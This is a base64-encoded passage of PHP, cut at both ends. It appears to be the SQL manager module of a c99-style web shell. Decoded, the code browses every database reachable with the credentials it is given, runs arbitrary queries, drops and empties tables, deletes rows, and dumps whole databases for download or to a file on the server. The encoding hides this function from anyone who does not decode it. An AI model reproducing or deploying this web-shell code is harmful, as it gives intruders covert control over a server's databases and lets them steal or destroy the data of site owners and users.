gICAgICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7DQogICAgICAgICRjID0gMDsNCiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7IGVjaG8gIjxiPismbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+PC9hPiAoIi4kY291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMrKzt9DQogICAgICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9DQogICAgICB9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgPz48dGQgd2lkdGg9IjEiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3FsX3N1cmw7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT4NCiAgICAgIDw/cGhwDQogICAgICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgIGVsc2Ugew0KICAgICAgICA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PHNlbGVjdCBuYW1lPSJzcWxfZGIiPg0KICAgICAgICA8P3BocA0KICAgICAgICAkYyA9IDA7DQogICAgICAgICRkYnMgPSAiIjsNCiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHskZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIi4kcm93WzBdLiJcIiI7IGlmICgkc3FsX2RiID09ICRyb3dbMF0pIHskZGJzIC49ICIgc2VsZWN0ZWQiO30gJGRicyAuPSAiPiIuJHJvd1swXS4iPC9vcHRpb24+IjsgJGMrKzt9DQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOw0KICAgICAgICBlY2hvICRkYnM7DQogICAgICB9DQogICAgICA/Pjwvc2VsZWN0PjxociBzaXplPSIxIiBub3NoYWRlPlBsZWFzZSwgc2VsZWN0IGRhdGFiYXNlPGhyIHNpemU9IjEiIG5vc2hhZGU+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj48L2Zvcm0+DQoNCiAgICAgIDw/cGhwDQogICAgfQ0KICAgIGVjaG8gIjwvdGQ+PHRkIHdpZHRoPVwiMTAwJVwiPiI7DQogICAgJGRpcGxheSA9IFRSVUU7DQogICAgaWYgKCRzcWxfZGIpIHsNCiAgICAgIGlmICghaXNfbnVtZXJpYygkYykpIHskYyA9IDA7fQ0KICAgICAgaWYgKCRjID09IDApIHskYyA9ICJubyI7fQ0KICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gdGhpcyBEQiAoIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiIpLjxicj4iOw0KICAgICAgaWYgKGNvdW50KCRkYnF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRkYnNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiBdICI7fX0NCiAgICAgIGVjaG8gIjwvYj48L2NlbnRlcj4iOw0KICAgICAgJGFjdHMgPSBhcnJheSgiIiwiZHVtcCIpOw0KICAgICAgaWYgKCRzcWxfeCA9PSAidGJsZHJvcCIpIHskc3FsX3F1ZXJ5ID0gIkRST1AgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxkdW1wIikge2lmIChjb3VudCgkYm94dGJsKSA+IDApIHskZG1wdGJscyA9ICRib3h0Ymw7fSBlbHNlaWYoJHRoaXN0YmwpIHskZG1wdGJscyA9IGFycmF5KCRzcWxfdGJsKTt9ICRzcWxfeCA9ICJkdW1wIjt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsY2hlY2siKSB7JHNxbF9xdWVyeSA9ICJDSEVDSyBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibHJlcGFpciIpIHskc3FsX3F1ZXJ5ID0gIlJFUEFJUiBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxhbmFseXplIikgeyRzcWxfcXVlcnkgPSAiQU5BTFlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3RibF94ID09ICJpbnNlcnQiKSB7DQogICAgICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMSkgew0KICAgICAgICAgICRrZXlzID0gIiI7DQogICAgICAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3RibF9pbnNlcnQpOw0KICAgICAgICAgIGZvcmVhY2ggKCRha2V5cyBhcyAkdikgeyRrZXlzIC49ICJgIi5hZGRzbGFzaGVzKCR2KS4iYCwgIjt9DQogICAgICAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQ0KICAgICAgICAgICR2YWx1ZXMgPSAiIjsNCiAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9DQogICAgICAgICAgaWYgKCFlbXB0eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxlbigkdmFsdWVzKS0yKTt9DQogICAgICAgICAgJHNxbF9xdWVyeSA9ICJJTlNFUlQgSU5UTyBgIi4kc3FsX3RibC4iYCAoICIuJGtleXMuIiApIFZBTFVFUyAoICIuJHZhbHVlcy4iICk7IjsNCiAgICAgICAgICAkc3FsX3ggPSAicXVlcnkiOw0KICAgICAgICAgICRzcWxfdGJsX3ggPSAiYnJvd3NlIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKSB7DQogICAgICAgICAgJHNldCA9IG15c3FsX2J1aWxkd2hlcmUoJHNxbF90YmxfaW5zZXJ0LCIsICIsJHNxbF90YmxfaW5zZXJ0X2Z1bmN0cyk7DQogICAgICAgICAgJHNxbF9xdWVyeSA9ICJVUERBVEUgYCIuJHNxbF90YmwuImAgU0VUICIuJHNldC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyI7DQogICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICAgICAgJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKTsNCiAgICAgICAgICAkc3FsX3ggPSAicXVlcnkiOw0KICAgICAgICAgICRzcWxfdGJsX3ggPSAiYnJvd3NlIjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfeCA9PSAicXVlcnkiKSB7DQogICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQ0KICAgICAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF94KSkge2VjaG8gIjx0YWJsZSBib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiPjx0cj48dGQ+PGZvcm0gYWN0aW9uPVwiIi4kc3FsX3N1cmwuIlwiIG1ldGhvZD1cIlBPU1RcIj48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvOiI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkgOiI7fSBlY2hvICI8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1cInNxbF9xdWVyeVwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfeFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZZXNcIj4gPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7fQ0KICAgICAgfQ0KICAgICAgaWYgKGluX2FycmF5KCRzcWxfeCwkYWN0cykpIHsNCiAgICAgICAgPz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyB0YWJsZTo8L2I+DQoNCiAgICAgICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld3RibCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPg0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPg0KICAgICAgICA8L2Zvcm0+PC90ZD4NCiAgICAgICAgPHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+RHVtcCBEQjo8L2I+DQogICAgICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJkdW1wIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPg0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyAiZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7ID8+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3VibWl0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPg0KICAgICAgICA8P3BocA0KICAgICAgICBpZiAoIWVtcHR5KCRzcWxfeCkpIHtlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7fQ0KICAgICAgICBpZiAoJHNxbF94ID09ICJuZXd0YmwiKSB7DQogICAgICAgICAgZWNobyAiPGI+IjsNCiAgICAgICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkgew0KICAgICAgICAgICAgZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+IjsNCiAgICAgICAgICB9DQogICAgICAgICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJkdW1wIikgew0KICAgICAgICAgIGlmIChlbXB0eSgkc3VibWl0KSkgew0KICAgICAgICAgICAgJGRpcGxheSA9IEZBTFNFOw0KICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3hcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjsNCiAgICAgICAgICAgIGVjaG8gIjxiPkRCOjwvYj4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYikuIlwiPjxicj48YnI+IjsNCiAgICAgICAgICAgICR2ID0gam9pbiAoIjsiLCRkbXB0YmxzKTsNCiAgICAgICAgICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIFwiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOw0KICAgICAgICAgICAgaWYgKCRkdW1wX2ZpbGUpIHskdG1wID0gJGR1bXBfZmlsZTt9DQogICAgICAgICAgICBlbHNlIHskdG1wID0gaHRtbHNwZWNpYWxjaGFycygiLi9kdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIik7fQ0KICAgICAgICAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdG1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsNCiAgICAgICAgICAgIGVjaG8gIjxiPkRvd25sb2FkOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9kb3dubG9hZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOw0KICAgICAgICAgICAgZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9zYXZldG9maWxlXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD4iOw0KICAgICAgICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxiPjxzdXA+MTwvc3VwPjwvYj4gLSBhbGwsIGlmIGVtcHR5IjsNCiAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRkaXBsYXkgPSBUUlVFOw0KICAgICAgICAgICAgJHNldCA9IGFycmF5KCk7DQogICAgICAgICAgICAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7DQogICAgICAgICAgICAkc2V0WyJkYiJdID0gJHNxbF9kYjsNCiAgICAgICAgICAgICRkdW1wX291dCA9ICJkb3dubG9hZCI7DQogICAgICAgICAgICAkc2V0WyJwcmludCJdID0gMDsNCiAgICAgICAgICAgICRzZXRbIm5sMmJyIl0gPSAwOw0KICAgICAgICAgICAgJHNldFsiIl0gPSAwOw0KICAgICAgICAgICAgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsNCiAgICAgICAgICAgICRzZXRbImFkZF9kcm9wIl0gPSBUUlVFOw0KICAgICAgICAgICAgJHNldFsib25seXRhYnMiXSA9IGFycmF5KCk7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQ0KICAgICAgICAgICAgJHJldCA9IG15c3FsX2R1bXAoJHNldCk7DQogICAgICAgICAgICBpZiAoJHNxbF9kdW1wX2Rvd25sb2FkKSB7DQogICAgICAgICAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsNCiAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsNCiAgICAgICAgICAgICAgZWNobyAkcmV0Ow0KICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgkc3FsX2R1bXBfc2F2ZXRvZmlsZSkgew0KICAgICAgICAgICAgICAkZnAgPSBmb3Blbigkc3FsX2R1bXBfZmlsZSwidyIpOw0KICAgICAgICAgICAgICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9DQogICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsJHJldCk7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgZWNobyAiPGI+RHVtcGVkISBEdW1wIGhhcyBiZWVuIHdyaXRlZCB0byBcIiIuaHRtbHNwZWNpYWxjaGFycyhyZWFscGF0aCgkc3FsX2R1bXBfZmlsZSkpLiJcIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJHNxbF9kdW1wX2ZpbGUpKS4iKTwvYj4uIjsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZSB7ZWNobyAiPGI+RHVtcDogbm90aGluZyB0byBkbyE8L2I+Ijt9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmICgkZGlwbGF5KSB7DQogICAgaWYgKCFlbXB0eSgkc3FsX3RibCkpIHsNCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF94KSkgeyRzcWxfdGJsX3ggPSAiYnJvd3NlIjt9DQogICAgICAkY291bnQgPSBteXNxb